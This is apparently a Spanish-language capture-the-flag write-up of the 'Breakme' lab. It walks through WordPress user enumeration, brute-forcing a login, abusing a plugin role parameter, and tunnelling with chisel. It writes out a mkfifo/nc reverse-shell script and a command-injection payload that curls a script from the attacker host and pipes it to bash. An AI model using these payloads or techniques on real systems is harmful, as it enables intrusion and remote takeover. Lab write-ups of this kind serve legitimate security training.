Breakme


A continuación, utilizamos WPScan para obtener una descripción general de la aplicación WordPress. Descubrimos que está ejecutando la versión 5.3.5
, que es vulnerable a la enumeración de usuarios.
wpscan --url http://breakme.thm/wordpress/

wpscan --url http://breakme.thm/wordpress/ -e u,p,t
wpscan --url http://breakme.thm/wordpress/ --enumerate u
wpscan --url http://172.17.0.2/wordpress/ --enumerate u,vp
force plugin:
wpscan --url http://torrija.thl/wordpress --enumerate ap --random-user-agent --force --plugins-detection mixed
-e
: Activa la enumeración de elementos especÃficos en el sitio web.u
: Enumera los usuarios de WordPress. Esto puede ayudar a identificar nombres de usuario para futuros ataques.p
: Enumera los complementos (plugins) instalados, para verificar si hay vulnerabilidades conocidas asociadas a ellos.t
: Enumera los temas instalados, permitiendo determinar si alguno de ellos tiene vulnerabilidades conocidas.
Tambien se puede hacer fuzzing de plugins manualmente:
Ejecutando:
gobuster dir -u http://172.17.0.2/wordpress/wp-content/plugins/ -w plugins.txt

Forzar las credenciales
Una vez que descubrimos los nombres de usuario, podemos intentar forzar las credenciales de los usuarios.
Una vez más, podemos usarlo wpscan
para esto.
wpscan --url http://breakme.thm/wordpress/ -U admin,bob -P /usr/share/wordlists/rockyou.txt
[i] No Config Backups Found.
[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - bob / soccer

Interceptamos con burpsuite;


Le agregamos el comando vulnerable wpda_role admin tal cual:



Una vez adentro agregamos una revershell

┌──(docker㉿docker)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.9.2.148] from (UNKNOWN) [10.10.213.243] 44826
Linux Breakme 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64 GNU/Linux
13:47:49 up 1:32, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Encontramos dos usuarios:
www-data@Breakme:/var/www$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
john:x:1002:1002:john wick,14,14,14:/home/john:/bin/bash
youcef:x:1000:1000:youcef,17,17,17:/home/youcef:/bin/bash
www-data@Breakme:/$ netstat -tulnp
netstat -tulnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Ejecuté netstat para ver si habÃa otras fuentes además de las que conocemos dada la carpeta de uno de los usuarios a los que apuntaba la intranet, que es una red interna privada.
┌──(docker㉿docker)-[~/try]
└─$ ./chisel server --port 2222 --reverse
2025/01/27 15:19:42 server: Reverse tunnelling enabled
2025/01/27 15:19:42 server: Fingerprint eR32N9hJKB2s4e3VeplJATd2qN/ScPixt56ndxS17qU=
2025/01/27 15:19:42 server: Listening on http://0.0.0.0:2222
2025/01/27 15:25:37 server: session#1: tun: proxy#R:9999=>9999: Listening
www-data@Breakme:/tmp$ ./chisel client -v 10.9.2.148:2222 R:9999:127.0.0.1:9999
<sel client -v 10.9.2.148:2222 R:9999:127.0.0.1:9999
2025/01/27 15:25:36 client: Connecting to ws://10.9.2.148:2222
2025/01/27 15:25:36 client: Handshaking...
2025/01/27 15:25:37 client: Sending config
2025/01/27 15:25:37 client: Connected (Latency 431.869229ms)
2025/01/27 15:25:37 client: tun: SSH connected
2025/01/27 15:25:46 client: tun: conn#1: Open [1/1]
2025/01/27 15:25:46 client: tun: conn#2: Open [2/2]
2025/01/27 15:25:47 client: tun: conn#1: sent 652B received 3.69KB
2025/01/27 15:25:47 client: tun: conn#1: Close [1/2]
2025/01/27 15:25:47 client: tun: conn#2: sent 624B received 709B
2025/01/27 15:25:47 client: tun: conn#2: Close [0/2]
Se pudo establecer la conexión:

Creamos el srcipt en bash para la revershell:
rev.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.9.2.148 2345 >/tmp/f
Creamos nuestro servidor python:
┌──(docker㉿docker)-[~/try]
└─$ nano rev.sh
┌──(docker㉿docker)-[~/try]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.213.243 - - [27/Jan/2025 15:55:37] "GET /rev.sh HTTP/1.1" 200 -
|curl${IFS}http://10.9.2.148:80/rev.sh|bash

Tenemos la conexion:
┌──(docker㉿docker)-[~/try]
└─$ nc -lnvp 2345
listening on [any] 2345 ...
connect to [10.9.2.148] from (UNKNOWN) [10.10.213.243] 59820
bash: cannot set terminal process group (534): Inappropriate ioctl for device
bash: no job control in this shell
john@Breakme:~/internal$ ls
Last updated